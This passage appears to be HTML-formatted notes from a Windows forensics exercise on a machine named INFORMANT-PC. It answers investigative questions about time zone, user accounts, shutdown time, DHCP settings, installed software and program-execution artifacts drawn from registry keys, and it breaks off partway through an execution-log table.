&lt;h3&gt;Time Zone Configuration&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Time Zone Name&lt;/td&gt;
&lt;td&gt;Eastern Standard Time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bias (UTC Offset)&lt;/td&gt;
&lt;td&gt;UTC -5 hours&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Active Bias&lt;/td&gt;
&lt;td&gt;UTC -4 hours&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Standard Bias&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Daylight Bias&lt;/td&gt;
&lt;td&gt;-60 minutes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Daylight Saving Time (DST) Rules&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Setting&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DST Start&lt;/td&gt;
&lt;td&gt;2nd Sunday of March at 02:00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DST End&lt;/td&gt;
&lt;td&gt;1st Sunday of November at 02:00&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Raw Interpretation (Important for Report)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Registry Field&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Bias = 300&lt;/td&gt;
&lt;td&gt;Base offset = UTC -5 hours (300 minutes)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DaylightBias = -60&lt;/td&gt;
&lt;td&gt;DST adjustment = -1 hour → UTC -4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ActiveTimeBias = 240&lt;/td&gt;
&lt;td&gt;System was in DST at acquisition time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;StandardStart&lt;/td&gt;
&lt;td&gt;DST ends → November&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DaylightStart&lt;/td&gt;
&lt;td&gt;DST begins → March&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;What is the computer name?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;`HKLM\SYSTEM\ControlSet###\Control\ComputerName\ComputerName&lt;/li&gt;
&lt;li&gt;`HKLM\SYSTEM\ControlSet###\Services\Tcpip\Parameters&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501141823.png&quot; alt=&quot;Pasted image 20260501141823.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Registry Value&lt;/th&gt;
&lt;th&gt;Data&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ComputerName&lt;/td&gt;
&lt;td&gt;INFORMANT-PC&lt;/td&gt;
&lt;td&gt;Primary system name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hostname&lt;/td&gt;
&lt;td&gt;informant-PC&lt;/td&gt;
&lt;td&gt;Network hostname&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NV Hostname&lt;/td&gt;
&lt;td&gt;informant-PC&lt;/td&gt;
&lt;td&gt;Persistent hostname (non-volatile)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;User Accounts &amp;amp; Activity&lt;/h1&gt;
&lt;h2&gt;List all accounts in OS except system accounts. (Account name, login count, last logon date…)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKLM\SAM\USERS&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501142113.png&quot; alt=&quot;Pasted image 20260501142113.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;User Name&lt;/th&gt;
&lt;th&gt;User ID (RID)&lt;/th&gt;
&lt;th&gt;Total Login Count&lt;/th&gt;
&lt;th&gt;Last Logon Time&lt;/th&gt;
&lt;th&gt;Created On&lt;/th&gt;
&lt;th&gt;Last Password Change&lt;/th&gt;
&lt;th&gt;Invalid Login Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;informant&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;2015-03-25 14:45:59&lt;/td&gt;
&lt;td&gt;2015-03-22 14:33:54&lt;/td&gt;
&lt;td&gt;2015-03-22 14:33:54&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;admin11&lt;/td&gt;
&lt;td&gt;1001&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2015-03-22 15:57:02&lt;/td&gt;
&lt;td&gt;2015-03-22 15:51:54&lt;/td&gt;
&lt;td&gt;2015-03-22 15:52:10&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ITechTeam&lt;/td&gt;
&lt;td&gt;1002&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;2015-03-22 15:52:30&lt;/td&gt;
&lt;td&gt;2015-03-22 15:52:45&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;temporary&lt;/td&gt;
&lt;td&gt;1003&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2015-03-22 15:55:57&lt;/td&gt;
&lt;td&gt;2015-03-22 15:53:01&lt;/td&gt;
&lt;td&gt;2015-03-22 15:53:11&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Who was the last user to logon into PC?&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;User Name&lt;/th&gt;
&lt;th&gt;User ID (RID)&lt;/th&gt;
&lt;th&gt;Total Login Count&lt;/th&gt;
&lt;th&gt;Last Logon Time&lt;/th&gt;
&lt;th&gt;Created On&lt;/th&gt;
&lt;th&gt;Last Password Change&lt;/th&gt;
&lt;th&gt;Invalid Login Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;informant&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;2015-03-25 14:45:59&lt;/td&gt;
&lt;td&gt;2015-03-22 14:33:54&lt;/td&gt;
&lt;td&gt;2015-03-22 14:33:54&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;When was the last recorded shutdown date/time?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKLM\SYSTEM\ControlSet###\Control\Windows (value: ShutdownTime)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501142436.png&quot; alt=&quot;Pasted image 20260501142436.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Raw Value&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;57-A9-48-B5-10-67-D0-01
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This is a &lt;strong&gt;Windows FILETIME&lt;/strong&gt; (little-endian, 64-bit).&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Last Shutdown Time (UTC)&lt;/td&gt;
&lt;td&gt;2015-03-25 15:31:05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time zone Applied (EDT, UTC-4)&lt;/td&gt;
&lt;td&gt;2015-03-25 11:31:05&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;Network Information&lt;/h1&gt;
&lt;h2&gt;Explain network interface(s) with DHCP assigned IP.&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKLM\System\ControlSet00x\Services\Tcpip\Parameters\Interfaces\{GUID}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501142722.png&quot; alt=&quot;Pasted image 20260501142722.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501142821.png&quot; alt=&quot;Pasted image 20260501142821.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Network Interface (DHCP Assigned)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;IP Address&lt;/td&gt;
&lt;td&gt;10.11.11.129&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Subnet Mask&lt;/td&gt;
&lt;td&gt;255.255.255.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default Gateway&lt;/td&gt;
&lt;td&gt;10.11.11.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DHCP Server&lt;/td&gt;
&lt;td&gt;10.11.11.254&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DNS Server&lt;/td&gt;
&lt;td&gt;10.11.11.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;localdomain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DHCP Enabled&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;DHCP Lease Information&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Lease Obtained&lt;/td&gt;
&lt;td&gt;2015-03-25 13:59:50&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lease Expiry&lt;/td&gt;
&lt;td&gt;2015-03-25 14:29:50&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lease Duration&lt;/td&gt;
&lt;td&gt;1800 seconds (30 minutes)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;Applications &amp;amp; Execution&lt;/h1&gt;
&lt;h2&gt;What applications were installed by the suspect after installing OS?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;64-bit Systems:&lt;/strong&gt; &lt;code&gt;HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501143153.png&quot; alt=&quot;Pasted image 20260501143153.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;Key Name&lt;/th&gt;
&lt;th&gt;Display Name&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;th&gt;Publisher&lt;/th&gt;
&lt;th&gt;Install Date&lt;/th&gt;
&lt;th&gt;Install Source&lt;/th&gt;
&lt;th&gt;Install Location&lt;/th&gt;
&lt;th&gt;Uninstall String&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2009-07-14 04:53:25&lt;/td&gt;
&lt;td&gt;AddressBook&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2009-07-14 04:53:25&lt;/td&gt;
&lt;td&gt;Connection Manager&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2009-07-14 04:53:25&lt;/td&gt;
&lt;td&gt;DirectDrawEx&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2009-07-14 04:53:25&lt;/td&gt;
&lt;td&gt;Fontcore&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-22 15:11:51&lt;/td&gt;
&lt;td&gt;Google Chrome&lt;/td&gt;
&lt;td&gt;Google Chrome&lt;/td&gt;
&lt;td&gt;41.0.2272.101&lt;/td&gt;
&lt;td&gt;Google Inc.&lt;/td&gt;
&lt;td&gt;20150322&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;C:\Program Files (x86)\Google\Chrome\Application&lt;/td&gt;
&lt;td&gt;&quot;C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\Installer\setup.exe&quot; --uninstall --multi-install --chrome --system-level --verbose-logging&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2009-07-14 04:53:25&lt;/td&gt;
&lt;td&gt;IE40&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2009-07-14 04:53:25&lt;/td&gt;
&lt;td&gt;IE4Data&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2009-07-14 04:53:25&lt;/td&gt;
&lt;td&gt;IE5BAKEX&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2009-07-14 04:53:25&lt;/td&gt;
&lt;td&gt;IEData&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2009-07-14 04:53:25&lt;/td&gt;
&lt;td&gt;MobileOptionPack&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2009-07-14 04:53:25&lt;/td&gt;
&lt;td&gt;SchedulingAgent&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2009-07-14 04:53:25&lt;/td&gt;
&lt;td&gt;WIC&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-22 15:16:03&lt;/td&gt;
&lt;td&gt;{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}&lt;/td&gt;
&lt;td&gt;Google Update Helper&lt;/td&gt;
&lt;td&gt;1.3.26.9&lt;/td&gt;
&lt;td&gt;Google Inc.&lt;/td&gt;
&lt;td&gt;20150322&lt;/td&gt;
&lt;td&gt;C:\Program Files (x86)\Google\Update\1.3.26.9|—&lt;/td&gt;
&lt;td&gt;MsiExec.exe /I{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 20:02:46&lt;/td&gt;
&lt;td&gt;{6C36881B-0E51-4231-9D02-BF2149664D34}&lt;/td&gt;
&lt;td&gt;Google Drive&lt;/td&gt;
&lt;td&gt;1.20.8672.3137&lt;/td&gt;
&lt;td&gt;Google, Inc.&lt;/td&gt;
&lt;td&gt;20150323&lt;/td&gt;
&lt;td&gt;C:\Program Files (x86)\Google\Update\Install{FADF8BBF-DB89-448E-BC51-AFDB1CF3B0D1}|—&lt;/td&gt;
&lt;td&gt;MsiExec.exe /X{6C36881B-0E51-4231-9D02-BF2149664D34}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 20:00:45&lt;/td&gt;
&lt;td&gt;{78002155-F025-4070-85B3-7C0453561701}&lt;/td&gt;
&lt;td&gt;Apple Application Support&lt;/td&gt;
&lt;td&gt;3.0.6&lt;/td&gt;
&lt;td&gt;Apple Inc.&lt;/td&gt;
&lt;td&gt;20150323&lt;/td&gt;
&lt;td&gt;C:\Users\INFORM~1\AppData\Local\Temp\IXP374.TMP|C:\Program Files (x86)\Common Files\Apple\Apple Application Support|MsiExec.exe /I{78002155-F025-4070-85B3-7C0453561701}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 20:01:01&lt;/td&gt;
&lt;td&gt;{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}&lt;/td&gt;
&lt;td&gt;Apple Software Update&lt;/td&gt;
&lt;td&gt;2.1.3.127&lt;/td&gt;
&lt;td&gt;Apple Inc.&lt;/td&gt;
&lt;td&gt;20150323&lt;/td&gt;
&lt;td&gt;C:\Users\INFORM~1\AppData\Local\Temp\IXP374.TMP|C:\Program Files (x86)\Apple Software Update|MsiExec.exe /I{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;List application execution logs. (Executable path, execution time, execution count...)&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Artifact Type&lt;/th&gt;
&lt;th&gt;Source Type&lt;/th&gt;
&lt;th&gt;Location / Registry Path&lt;/th&gt;
&lt;th&gt;Data Extracted&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Windows Prefetch&lt;/td&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;&lt;code&gt;C:\Windows\Prefetch\*.pf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executable file paths, execution timestamps, execution counts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IconCache&lt;/td&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;&lt;code&gt;C:\Users\informant\AppData\Local\IconCache.db&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executable file paths, associated icon images&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UserAssist&lt;/td&gt;
&lt;td&gt;Registry&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HKU\informant\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\*\Count\&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executable file paths, execution timestamps, execution counts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Application Compatibility (Shimcache)&lt;/td&gt;
&lt;td&gt;Registry&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HKLM\SYSTEM\ControlSet###\Control\Session Manager\AppCompatCache\&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executable file paths, last modified timestamps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Application Compatibility Cache&lt;/td&gt;
&lt;td&gt;Registry&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HKU\informant\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executable file paths, last modified timestamps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MuiCache&lt;/td&gt;
&lt;td&gt;Registry&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HKU\informant\Software\Classes\Local-Settings\Software\Microsoft\Windows\Shell\MuiCache\&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executable file paths&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;UserAssist&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501145534.png&quot; alt=&quot;Pasted image 20260501145534.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Application Compatibility (&lt;code&gt;Shimcache&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501145249.png&quot; alt=&quot;Pasted image 20260501145249.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Application Compatibility Cache&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501145654.png&quot; alt=&quot;Pasted image 20260501145654.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(Some Windows executables and duplicated items are excluded)&lt;/li&gt;
&lt;li&gt;Execution Count may not be accurate.&lt;/li&gt;
&lt;li&gt;Timestamps of &lt;code&gt;UserAssist&lt;/code&gt; and &lt;code&gt;Prefetch&lt;/code&gt;: Execution Time&lt;/li&gt;
&lt;li&gt;Timestamps of &lt;code&gt;Shimcache&lt;/code&gt;: Last Modified Time from filesystem metadata&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;Execution Path&lt;/th&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-22 11:11:04&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Desktop\temp\IE11-Windows6.1-x64-en-us.exe&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;ShimCache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-22 11:11:04&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Desktop\Download\IE11-Windows6.1-x64-en-us.exe&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;ShimCache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-22 11:12:32&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Desktop\Download\IE11-Windows6.1-x64-en-us.exe&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;UserAssist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 15:56:33&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Downloads\googledrivesync.exe&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;ShimCache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 15:56:33&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Downloads\icloudsetup.exe&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;ShimCache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 15:56:33&lt;/td&gt;
&lt;td&gt;C:\Users\INFORM~1\AppData\Local\Temp\GUMA150.tmp\GoogleUpdateSetup.exe&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;ShimCache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:00:59&lt;/td&gt;
&lt;td&gt;C:\Windows\Installer{GUID}\AppleSoftwareUpdateIco.exe&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;ShimCache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:02:07&lt;/td&gt;
&lt;td&gt;C:\Users\INFORM~1\AppData\Local\Temp\GUMA150.tmp\GoogleUpdate.exe&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;ShimCache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:02:09&lt;/td&gt;
&lt;td&gt;C:\Program Files (x86)\GUMA94B.tmp\GoogleUpdate.exe&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;ShimCache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:26:50&lt;/td&gt;
&lt;td&gt;C:\Program Files\Microsoft Office\Office15\EXCEL.EXE&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;UserAssist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:27:33&lt;/td&gt;
&lt;td&gt;C:\Program Files\Microsoft Office\Office15\POWERPNT.EXE&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;UserAssist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
